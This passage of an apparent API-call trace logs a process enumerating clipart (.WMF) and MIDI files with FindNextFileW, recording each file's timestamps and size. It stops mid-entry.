ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0079.617] lstrcmpiW (lpString1="BS00184_.WMF", lpString2=".") returned 1 [0079.617] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="..") returned 1 [0079.617] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0079.617] lstrcmpiW (lpString1="BS00186_.WMF", lpString2=".") returned 1 [0079.617] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="..") returned 1 [0079.617] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9efd600, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9efd600, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0079.617] lstrcmpiW (lpString1="BS00200_.WMF", lpString2=".") returned 1 [0079.618] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="..") returned 1 [0079.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fadc00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54fadc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0079.618] lstrcmpiW (lpString1="BS00224_.WMF", lpString2=".") returned 1 [0079.618] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="..") returned 1 [0079.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c55700, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62c55700, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0079.618] lstrcmpiW (lpString1="BS00438_.WMF", lpString2=".") returned 1 [0079.618] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="..") returned 1 [0079.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b5e00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x276b5e00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0079.618] lstrcmpiW (lpString1="BS00439_.WMF", lpString2=".") returned 1 [0079.618] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="..") returned 1 [0079.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263a3100, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x263a3100, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0079.618] lstrcmpiW (lpString1="BS00440_.WMF", lpString2=".") returned 1 [0079.618] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="..") returned 1 [0079.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25090400, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25090400, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0079.618] lstrcmpiW (lpString1="BS00441_.WMF", lpString2=".") returned 1 [0079.618] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="..") returned 1 [0079.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d7d700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23d7d700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0079.618] lstrcmpiW (lpString1="BS00442_.WMF", lpString2=".") returned 1 [0079.618] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="..") returned 1 [0079.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7ffa00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb7ffa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0079.618] lstrcmpiW (lpString1="BS00443_.WMF", lpString2=".") returned 1 [0079.618] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="..") returned 1 [0079.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0079.618] lstrcmpiW (lpString1="BS00444_.WMF", lpString2=".") returned 1 [0079.618] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="..") returned 1 [0079.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21757d00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21757d00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0079.618] lstrcmpiW (lpString1="BS00445_.WMF", lpString2=".") returned 1 [0079.618] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="..") returned 1 [0079.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0079.618] lstrcmpiW (lpString1="BS00453_.WMF", lpString2=".") returned 1 [0079.618] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="..") returned 1 [0079.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0079.618] lstrcmpiW (lpString1="BS01080_.WMF", lpString2=".") returned 1 [0079.619] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="..") returned 1 [0079.619] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d186600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d186600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0079.619] lstrcmpiW (lpString1="BS01603_.WMF", lpString2=".") returned 1 [0079.619] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="..") returned 1 [0079.619] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31ccd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc31ccd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0079.619] lstrcmpiW (lpString1="BS01634_.WMF", lpString2=".") returned 1 [0079.619] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="..") returned 1 [0079.619] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63bebd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63bebd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0079.619] lstrcmpiW (lpString1="BS01635_.WMF", lpString2=".") returned 1 [0079.619] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="..") returned 1 [0079.619] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe440e600, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe440e600, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0079.620] lstrcmpiW (lpString1="BS01636_.WMF", lpString2=".") returned 1 [0079.620] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="..") returned 1 [0079.620] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910b6b00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x910b6b00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0079.620] lstrcmpiW (lpString1="BS01637_.WMF", lpString2=".") returned 1 [0079.620] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="..") returned 1 [0079.620] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16ae900, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd16ae900, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0079.620] lstrcmpiW (lpString1="BS01638_.WMF", lpString2=".") returned 1 [0079.620] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="..") returned 1 [0079.620] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c32800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c32800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0079.620] lstrcmpiW (lpString1="BS01639_.WMF", lpString2=".") returned 1 [0079.620] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="..") returned 1 [0079.620] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0079.620] lstrcmpiW (lpString1="CARBN_01.MID", lpString2=".") returned 1 [0079.620] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="..") returned 1 [0079.620] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceceee00, ftCreationTime.dwHighDateTime=0x1c9b81d, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xceceee00, ftLastWriteTime.dwHighDateTime=0x1c9b81d, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0079.620] lstrcmpiW (lpString1="CG1606.WMF", lpString2=".") returned 1 [0079.620] lstrcmpiW (lpString1="CG1606.WMF", lpString2="..") returned 1 [0079.620] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0079.620] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2=".") returned 1 [0079.620] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="..") returned 1 [0079.620] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0079.620] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2=".") returned 1 [0079.620] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="..") returned 1 [0079.620] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0079.620] lstrcmpiW (lpString1="CLIP.WMF", lpString2=".") returned 1 [0079.620] lstrcmpiW (lpString1="CLIP.WMF", lpString2="..") returned 1 [0079.620] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0079.620] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2=".") returned 1 [0079.621] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="..") returned 1 [0079.621] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0079.621] lstrcmpiW (lpString1="CRANE.WMF", lpString2=".") returned 1 [0079.621] lstrcmpiW (lpString1="CRANE.WMF", lpString2="..") returned 1 [0079.621] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x60609cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0079.621] lstrcmpiW (lpString1="CRANINST.WMF", lpString2=".") returned 1 [0079.621] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="..") returned 1 [0079.621] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0079.621] lstrcmpiW (lpString1="CUP.WMF", lpString2=".") returned 1 [0079.621] lstrcmpiW (lpString1="CUP.WMF", lpString2="..") returned 1 [0079.621] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0079.621] lstrcmpiW (lpString1="CUPINST.WMF", lpString2=".") returned 1 [0079.621] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="..") returned 1 [0079.621] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0079.621] lstrcmpiW (lpString1="DD00117_.WMF", lpString2=".") returned 1 [0079.621] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="..") returned 1 [0079.621] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a43700, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6a43700, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0079.621] lstrcmpiW (lpString1="DD00121_.WMF", lpString2=".") returned 1 [0079.621] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="..") returned 1 [0079.621] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0079.621] lstrcmpiW (lpString1="DD00234_.WMF", lpString2=".") returned 1 [0079.621] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="..") returned 1 [0079.621] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf650000, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf650000, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0079.621] lstrcmpiW (lpString1="DD00255_.WMF", lpString2=".") returned 1 [0079.621] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="..") returned 1 [0079.621] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0079.621] lstrcmpiW (lpString1="DD00256_.WMF", lpString2=".") returned 1 [0079.621] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="..") returned 1 [0079.621] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe550c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe550c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0079.621] lstrcmpiW (lpString1="DD00261_.WMF", lpString2=".") returned 1 [0079.621] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="..") returned 1 [0079.621] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8572f00, ftCreationTime.dwHighDateTime=0x1bd4b20, 